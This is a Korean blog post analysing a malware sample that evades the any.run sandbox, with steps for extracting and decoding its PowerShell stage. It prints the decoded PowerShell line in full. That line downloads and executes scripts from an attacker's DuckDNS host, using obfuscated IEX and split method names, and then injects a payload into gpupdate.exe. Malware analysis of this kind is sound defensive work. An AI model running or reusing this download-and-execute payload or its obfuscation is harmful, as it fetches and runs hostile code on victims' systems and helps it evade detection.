전공영역 공부 기록

anyrun샌드박스에서 실행되지 않은 악성코드

악분 2020. 7. 14. 16:12
반응형

악성코드 다운로드 링크: https://app.any.run/tasks/744bb393-ec07-468f-95da-4a4ac5d93dd7/

뉴스 링크: https://www.bleepingcomputer.com/news/security/malware-adds-anyrun-sandbox-detection-to-evade-analysis/

유투브 영상: https://youtu.be/qFV_fIwaEzQ


실행중인 환경이 anyrun샌드박스라면 실행되지 않은 악성코드가 뉴스에 보도되었습니다. 악성코드 예제 사이트에 방문하면 "Any.run Detected!"메세지가 출력되면서 악성코드가 실행되지 않습니다.

에러 메세지

 

안타깝게도 공격자 서버가 사라져서 샌드박스 재실행을 해도 에러 메세지를 볼 수 없습니다. 악성코드는 공격자 서버로부터 스크립트를 다운받아 실행환경을 검사한 것으로 추측됩니다.


1. 악성코드 행위 요약

악성코드는 수식편집기 취약점을 이용하여 파워쉘 스크립트를 실행하였습니다. 파워쉘 스크립트는 공격자가 구축해놓은 2개 서버로부터 파일(스크립트로 추측)을 다운받아 실행합니다.

악성코드 실행 흐름 요약 ​

 

2. 파워쉘 스크립트 추출

공격자 서버가 지금 없으므로 아쉬운대로 1차 파워쉘 스크립트를 추출해보겠습니다. 수식편집기 취약점은 버퍼오버플로우로 공격자가 원하는 코드를 실행합니다. 이 예제에서는 vbs스크립트를 실행했습니다. anyrun 메인페이지 하단에 Files탭에서 vbs파일을 다운로드 할 수 있습니다.

vbs파일 다운로드 위치1

 

vbs파일 다운로드 위치2

이제 가상머신을 키고 vbs파일을 엽니다. 제일 마지막 줄을 아래와 같이 변경합니다. 기존 코드는 powershell스크립트를 실행을 했지만 코드를 변경하면 powershell스크립트를 result.txt에 저장합니다.

set fso = createobject("Scripting.FileSystemObject")
set obj = fso.CreateTextFile("result.txt")
obj.write(Join(days,"")+space(1)+StrReverse(f))

vbs스크립트 변경결과

 

변경한 vbs스크립트를 실행합니다.

스크립트 실행

스크립트가 잘 실행되면 스크립트가 있는 위치에 result.txt파일이 생성됩니다.

생성된 result.txt파일 내용

 

3. 파워쉘 스크립트 디코딩

result.txt에 있는 파워쉘 스크립트는 인코딩되어 있어 무슨 내용인지 분석이 불가능합니다. 그러므로 디코딩을 하고 분석을 해야 합니다.

notepad++의 찾아 바꾸기(Ctrl+F) 기능으로 기존 변수명을 tmp로 변경합니다.

변수명 변경

제일 마지막 | IEX를 삭제합니다. IEX는 파워쉘 스크립트를 실행하는 명령어 중 하나입니다. 저희가 원하는건 실행이 아니라 결과물을 추출하는 것입니다.

파워쉘 실행명령어 삭제

 

수정한 파워쉘 스크립트를 복사해서 powershell.exe실행기에 붙여넣습니다. 2가지 작업을 추가해야 합니다.

 1) 제일 앞 powershell 제거

 2) 제일 끝 > decoding.txt 추가

파워쉘 스크립트 실행

Enter를 눌러 파워쉘을 실행하면 decoding.txt 파일이 생깁니다. 이 파일에는 파워쉘 스크립트 실행 결과가 있습니다.

파워쉘 스크립트 실행결과

do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow####loadStri####g'.replace('####','n'),[Microsoft.VisualBasic.CallType]::Method,'http://our20203.duckdns.org/ourfold/109.mt')|I`E`X;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow####loadStri####g'.replace('####','n'),[Microsoft.VisualBasic.CallType]::Method,'http://our20203.duckdns.org/ourfold/ours394.tp7').replace('!@#$@','0x')|I`E`X;[HandleRun]::Asynchronous('gpupdate.exe',$f)

3. 파워쉘 스크립트 분석

총 3가지 행위를 수행합니다. 2개의 파일을 다운로드 받아 실행합니다. 그리고 2번째에 실행파일 결과를 바탕으로 그룹 정책 업데이트를 하는 것으로 추측됩니다.

파워쉘 스크립트 행위

 

반응형